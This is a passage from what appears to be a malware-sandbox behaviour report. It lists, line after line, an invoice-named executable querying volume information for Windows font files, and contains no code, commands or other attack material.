Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\taile.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\segoeuii.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\seguisli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\seguili.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\seguisbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\segoeuiz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\seguibl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\seguibli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\seguiemj.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\seguisym.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\CENTURY.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\LEELAWAD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\LEELAWDB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\MSUIGHUR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\MSUIGHUB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\WINGDNG2.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\WINGDNG3.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\TEMPSITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\PRISTINA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\PAPYRUS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\MISTRAL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\LHANDW.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\ITCKRIST.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\JUICE___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\FRSCRIPT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\FREESCPT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\BRADHITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\OUTLOOK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\BKANT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\ANTQUAI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\ANTQUAB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\ANTQUABI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\GARA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\GARAIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\GARABD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\MTCORSVA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\GOTHIC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\GOTHICI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\GOTHICB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\GOTHICBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\ALGER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\BASKVILL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\BAUHS93.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\BELL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\BELLI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\BELLB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\BRLNSR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\BRLNSDB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\BRLNSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\BERNHC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\BOD_PSTC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\BRITANIC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\BROADW.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\BRUSHSCI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\CALIFR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\CALIFI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\CALIFB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\CENTAUR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\CHILLER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\COLONNA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\COOPBL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\FTLTLT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\HARLOWSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\HARNGTON.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\HTOWERT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\HTOWERTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\JOKERMAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\KUNSTLER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\LBRITE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\LBRITED.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\LBRITEI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\LBRITEDI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\LCALLIG.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\LFAX.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\LFAXD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\LFAXI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\LFAXDI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\MAGNETOB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\MATURASC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\MOD20.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\NIAGENG.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\NIAGSOL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\OLDENGL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\ONYX.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\PARCHM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\PLAYBILL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\POORICH.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\RAVIE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\INFROMAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\SHOWG.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\SNAP____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\STENCIL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\VINERITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\VIVALDII.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\VLADIMIR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\LATINWD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\TCM_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\TCMI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\TCB_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\TCBI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\TCCM____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\TCCB____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\TCCEB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\SCRIPTBL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\ROCK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\ROCKI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\ROCKB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\ROCKEB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\ROCKBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\ROCC____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\ROCCB___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\RAGE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\PERTILI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\PERTIBD.TTF VolumeInformation	Jump to behavior
